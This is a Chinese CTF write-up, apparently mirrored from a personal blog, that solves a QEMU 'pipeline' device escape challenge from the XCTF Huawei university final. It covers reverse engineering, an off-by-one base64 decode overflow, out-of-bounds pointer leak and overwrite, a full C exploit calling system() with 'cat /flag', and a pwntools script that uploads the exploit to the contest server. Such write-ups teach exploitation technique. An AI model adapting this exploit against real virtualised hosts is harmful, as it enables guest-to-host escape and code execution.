XCTF 华为高校挑战赛决赛 QEMU pipeline
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2022/09/19/qemu/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
XCTF 华为高校挑战赛决赛 QEMU pipeline
第一次在比赛中做出QEMU赛题,难度不大,6解,800分。漏洞点为:在目标代码进行base64解码时,数据长度限制由于除法忽略小数点后数据,进而产生的单字节溢出。溢出可以覆盖掉题目中的关键数据结构的size成员(
PipeLineState.decPipe[3].size
),进而可以越界读写题目中的函数指针,完成地址信息泄露以及控制流劫持。并且通过此函数指针可以简单的完成system(cmd)的调用,最终读取flag。
前期知识:QEMU 逃逸 潦草笔记
确认题目qemu有符号,分析应该不难:
➜ file qemu-system-x86_64
qemu-system-x86_64: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, with debug_info, not stripped
删掉启动脚本中的timeout让程序正常启动:
#!/bin/bash
./qemu-system-x86_64 \
-m 1G \
-initrd ./rootfs.cpio \
-nographic \
-kernel ./vmlinuz-5.0.5-generic \
-L pc-bios/ \
-append "priority=low console=ttyS0" \
-monitor /dev/null \
-device pipeline
cpio解包与打包:
➜ mkdir rootfs; cd rootfs
➜ cpio -idvm < ../rootfs.img
➜ find . | cpio -H newc -o > ../rootfs.cpio
目标设备为pipeline,并且qemu有符号,所以直接在IDA中搜索pipeline函数,发现本题mmio和pmio都有实现,所以主要关注以下四个函数:
- pipeline_mmio_read
- pipeline_mmio_write
- pipeline_pmio_read
- pipeline_pmio_write
虽然有符号,但对于以上四个函数的第一个参数的类型,仍然没有自动识别,因此需要手工转换opaque参数的类型为PipeLineState,方法如下:
转换完参数类型后,结果如下:
uint64_t __cdecl pipeline_mmio_read(PipeLineState *opaque, hwaddr addr, unsigned int size)
{
__int64 v4; // rdx
unsigned int sizea; // [rsp+0h] [rbp-34h]
int pIdx; // [rsp+20h] [rbp-14h]
pIdx = opaque->pIdx;
if ( (unsigned int)pIdx >= 8 )
return -1LL;
if ( size != 1 )
return -1LL;
if ( pIdx > 3 )
{
sizea = *(_DWORD *)&opaque->encPipe[1].data[68 * pIdx + 12];
v4 = 68LL * (pIdx - 4) + 3152;
}
else
{
sizea = opaque->encPipe[pIdx].size;
v4 = 96LL * pIdx + 2768;
}
if ( addr < sizea )
return *((char *)&opaque->pdev.qdev.parent_obj.free + v4 + addr);
else
return -1LL;
}
不过识别的代码中仍然有令人费解的部分,比如:
*((char *)&opaque->pdev.qdev.parent_obj.free + v4 + addr);
因为按道理这些功能代码应该读写opaque变量中的自定义数据,不应该使用什么pdev.qdev,所以需要进行分析。以上四个函数操作的数据主要操作的数据就是opaque变量,其结构体为PipeLineState,可以在IDA的Structures窗口中找到:
00000000 PipeLineState struc ; (sizeof=0xD80, align=0x10, copyof_2451)
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
000009E0 pmio MemoryRegion_0 ?
00000AD0 pIdx dd ?
00000AD4 encPipe EncPipeLine 4 dup(?)
00000C54 decPipe DecPipeLine 4 dup(?)
00000D64 db ? ; undefined
00000D65 db ? ; undefined
00000D66 db ? ; undefined
00000D67 db ? ; undefined
00000D68 encode dq ? ; offset
00000D70 decode dq ? ; offset
00000D78 strlen dq ? ; offset
00000D80 PipeLineState ends
经过分析pdev.qdev.parent_obj.free其实就是加8的偏移,所以这个令人费解的代码:
*((char *)&opaque->pdev.qdev.parent_obj.free + v4 + addr);
其实就是:
*((char *)&opaque + 8 + v4 + addr);
另外在pipeline_pmio_write有函数指针调用,其初始化在pipeline_instance_init函数中:
void __cdecl pipeline_instance_init(Object_0 *obj)
{
int i; // [rsp+14h] [rbp-Ch]
PipeLineState *state; // [rsp+18h] [rbp-8h]
...
state->encode = (int (*)(char *, char *, int))pipe_encode;
state->decode = (int (*)(char *, char *, int))pipe_decode;
state->strlen = (int (*)(char *))&strlen;
...
}
经过逆向分析结构体中主要的数据结构为decPipe[4]
和encPipe[4]
,其结构如下:
00000000 EncPipeLine struc ; (sizeof=0x60, align=0x4, copyof_2449)
00000000 ; XREF: PipeLineState/r
00000000 size dd ?
00000004 data db 92 dup(?)
00000060 EncPipeLine ends
00000000 DecPipeLine struc ; (sizeof=0x44, align=0x4, copyof_2450)
00000000 ; XREF: PipeLineState/r
00000000 size dd ?
00000004 data db 64 dup(?)
00000044 DecPipeLine ends
函数主要功能如下:
- pipeline_mmio_read: 读encPipe/decPipe中data
- pipeline_mmio_write:写encPipe/decPipe中data
- pipeline_pmio_read: 0->读pIdx,4->读pIdx对应的size
- pipeline_pmio_write:0->写pIdx,4->写pIdx对应的size,12->b64encode,16->b64decode
编解码会在encPipe[4]
和decPipe[4]
数组中对应的来回倒腾,所以主要是个base64编解码的功能,使用功能如下:
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
void * mmio;
int port_base = 0xc040;
void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }
void write_block(int idx,int size,int offset, char * data){
pmio_write(0,idx); pmio_write(4,size);
for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}
void read_block(int idx,int size,int offset, char * data){
pmio_write(0,idx);
for(int i=0;i<size;i++){ data[i] = mmio_read(i+offset);}
}
int main(){
// init mmio and pmio
iopl(3);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
char b64e[] = "eHVhbnh1YW4=";
char data[100] = {0};
write_block(2,0x5c,0,b64e);
pmio_write(16,0); // b64decode block 2 to block 6
read_block(6,8,0,data);
printf("[+] %s\n",data);
return 0;
}
编译,打包进文件系统,并执行,成功进行base64解码:
➜ gcc -static test.c -o test
➜ find . | cpio -H newc -o > ../rootfs.cpio
➜ cd .. ; ./launch.sh
/ # ./test
[+] xuanxuan
主要目的还是看PipeLineState中数据的情况,可以把断点打在mmio或者pmio的任意函数上,然后通过第一个参数(rdi)得到,示例交互,调用pmio_write:
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
void * mmio;
int port_base = 0xc040;
void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }
int main(){
iopl(3);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
pmio_write(0,1);
return 0;
}
编译,打包进文件系统,并执行:
➜ gcc -static test.c -o test
➜ find . | cpio -H newc -o > ../rootfs.cpio
➜ cd .. ; ./launch.sh
gdb挂上qemu进程并把断点打在pipeline_pmio_write函数上:
➜ ps -ef | grep qemu
xuan 8956 8955 30 22:20 pts/0 00:00:06 ./qemu-system-x86_64
➜ sudo gdb --pid 8956
gef➤ b pipeline_pmio_write
Breakpoint 1 at 0x5650321e1d34: file ../hw/pci/pipeline.c, line 146.
gef➤ c
虚拟机里执行测试代码:
/ # ./text
断点断下,查看rdi寄存器,然后即可查看PipeLineState结构体:
gef➤ i r rdi
rdi 0x565035a20f80 0x565035a20f80
gef➤ p *((PipeLineState *)(0x565035a20f80))
也可以单独查看结构体中的成员:
gef➤ set $a = *((PipeLineState *)(0x565035a20f80))
gef➤ p /x $a.encPipe
$2 = {\{
size = 0x0,
data = {0x0 <repeats 92 times>}
}, {
size = 0x0,
data = {0x0 <repeats 92 times>}
}, {
size = 0x0,
data = {0x0 <repeats 92 times>}
}, {
size = 0x0,
data = {0x0 <repeats 92 times>}
}\}
也可以查看结构体中成员的地址:
gef➤ p /x &((PipeLineState *)(0x565035a20f80)).encode
$26 = 0x565035a21ce8
gef➤ x /20gx 0x565035a21ce8
0x565035a21ce8: 0x00005650321e24f3 0x00005650321e21bb
0x565035a21cf8: 0x00007f8bb5c59450 0x0000000000000000
0x565035a21d08: 0x0000000000000061 0x0000565035a20f10
0x565035a21d18: 0x0000565035a20f30 0x0000000000000000
0x565035a21d28: 0x0000565032650105 0x0000000000000000
0x565035a21d38: 0x0000565032650183 0x0000565032650199
0x565035a21d48: 0x0000000000000000 0x0000565035a20f80
0x565035a21d58: 0x0000000000000000 0x0000000000000000
0x565035a21d68: 0x0000000000000061 0x0000565035a20bb0
0x565035a21d78: 0x0000565035a21dd0 0x0000000000000000
这个漏洞还是看了一会的,不过结合base64编解码的功能来看,最可能得漏洞点应该出在base64解码的位置,原因有二:
- 对变长数据编解码的处理容易产生溢出读写
- 考虑利用的可能性,解码后的数据没有字符限制,更可以利用
最终漏洞的确出现在pipeline_pmio_write中对base64解码处理的过程中:
void __cdecl pipeline_pmio_write(PipeLineState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
unsigned int sizea; // [rsp+4h] [rbp-4Ch]
unsigned int sizeb; // [rsp+4h] [rbp-4Ch]
int pIdx; // [rsp+28h] [rbp-28h]
int pIdxa; // [rsp+28h] [rbp-28h]
int pIdxb; // [rsp+28h] [rbp-28h]
int useSize; // [rsp+2Ch] [rbp-24h]
int ret_s; // [rsp+34h] [rbp-1Ch]
int ret_sa; // [rsp+34h] [rbp-1Ch]
char *iData; // [rsp+40h] [rbp-10h]
if ( size == 4 )
{
...
else if ( addr == 16 ){
pIdxb = opaque->pIdx;
if ( (unsigned int)pIdxb <= 7 )
{
if ( pIdxb > 3 )
pIdxb -= 4;
sizeb = opaque->encPipe[pIdxb].size;
iData = (char *)opaque->encPipe[pIdxb].data;
if ( sizeb <= 0x5C )
{
if ( sizeb )
iData[sizeb] = 0;
useSize = opaque->strlen(iData);
if ( 3 * (useSize / 4) + 1 <= 0x40 )
{
ret_sa = opaque->decode(iData, (char *)opaque->decPipe[pIdxb].data, useSize);
if ( ret_sa != -1 )
opaque->decPipe[pIdxb].size = ret_sa;
...
其opaque->decode调用的pipe_decode函数,不处理第三个size参数,所以解码过程,是直到扫描到输入字符串的空字符才结束。虽然useSize也是使用strlen进行了判断:
3 * (useSize / 4) + 1 <= 0x40
这里判断的标准边界应为((0x40 - 1)/3)*4 == 84
,但是因为c语言整型的除法,84 到 87 这四个整数,都可以满足本判断,而size为87即可在解码时溢出后续数据。使用0xff进行base64编码作为测试数据,这样在解码后得到的溢出字符为0xff,如果后续溢出size,0xff位最大值:
>>> from pwn import *
>>> b64e(b'\xff\xff\xff')
'////'
测试代码如下:
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
void * mmio;
int port_base = 0xc040;
void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }
void write_block(int idx,int size,int offset, char * data){
pmio_write(0,idx); pmio_write(4,size);
for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}
int main(){
// init mmio and pmio
iopl(3);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
// write '/'*87 to block 2
char data[100];
memset(data,0,100);
memset(data,'/',87);
write_block(2,0x5c,0,data);
// decode block 2 to block 6, it will overflow block 7 size
pmio_write(16,0);
return 0;
}
调试可见PipeLineState.decPipe[3].size
确实被溢出了:
gef➤ b pipeline_pmio_write
gef➤ i r rdi
rdi 0x55ece5dd4f80 0x55ece5dd4f80
gef➤ p /x *((PipeLineState *)(0x55ece5dd4f80))
decPipe = {\{
size = 0x0,
data = {0x0 <repeats 64 times>}
}, {
size = 0x0,
data = {0x0 <repeats 64 times>}
}, {
size = 0x0,
data = {0xff <repeats 64 times>}
}, {
size = 0xff,
data = {0x0 <repeats 64 times>}
}\},
encode = 0x55ece3c634f3,
decode = 0x55ece3c631bb,
strlen = 0x7f8a9b4fc450
利用方法就很明显了,溢出写PipeLineState.decPipe[3].size
后,即可使用mmio_read/mmio_write越界读写PipeLineState.decPipe[3].data
后续的函数指针,完成地址信息泄露以及控制流劫持。
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
void * mmio;
int port_base = 0xc040;
void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }
void write_block(int idx,int size,int offset, char * data){
pmio_write(0,idx); pmio_write(4,size);
for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}
void read_block(int idx,int size,int offset, char * data){
pmio_write(0,idx);
for(int i=0;i<size;i++){ data[i] = mmio_read(i+offset);}
}
int main(){
// init mmio and pmio
iopl(3);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
// write '/'*87 to block 2
char data[100];
memset(data,0,100);
memset(data,'/',87);
write_block(2,0x5c,0,data);
// decode block 2 to block 6, it will overflow block 7 size
pmio_write(16,0);
// out of bound read block 7 (offset 0x44), leak encode function ptr
char leak[0x10];
read_block(7,8,0x44,leak);
long long base = *((long long *)leak)-0x3404F3;
long long sys = base + 0x2C0AD0;
printf("[+] base: 0x%llx \n",base);
printf("[+] system: 0x%llx \n",sys);
// out of bound write block 7 (offset 0x44), overwrite encode function ptr to system ptr
write_block(7,0x5c,0x44,(char *)(&sys));
// write cmd to block 4
char cmd[] = "cat /flag ; gnome-calculator ;\x00";
write_block(4,0x30,0,cmd);
// trigger encode(block 4) to system(cmd)
pmio_write(12,0);
return 0;
}
本地成功弹计算器:
攻击远程可使用musl libc减小体积,下载x86_64的本地版本https://musl.cc/x86_64-linux-musl-native.tgz,然后直接编译即可:
➜ ../../x86_64-linux-musl-native/bin/x86_64-linux-musl-gcc --static ./exp.c -o exp
➜ ../../x86_64-linux-musl-native/bin/strip ./exp
➜ ls -al ./exp
-rwxr-xr-x 1 xuanxuan staff 22616 9 18 01:59 ./exp
还是之前python2的上传脚本…
from pwn import *
context(log_level='debug')
io = remote("172.35.7.30",9999)
#io = process("./launch.sh")
def exec_cmd(cmd):
io.sendline(cmd)
io.recvuntil("/ #")
def upload():
p = log.progress("Upload")
with open("./exp", "rb") as f:
data = f.read()
encoded = base64.b64encode(data)
io.recvuntil("/ #")
for i in range(0, len(encoded), 600):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd("echo \"%s\" >> /home/ctf/benc" % (encoded[i:i+600]))
exec_cmd("cat /home/ctf/benc | base64 -d > /home/ctf/bout")
exec_cmd("chmod +x /home/ctf/bout")
exec_cmd("/home/ctf/bout")
upload()
io.interactive()
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK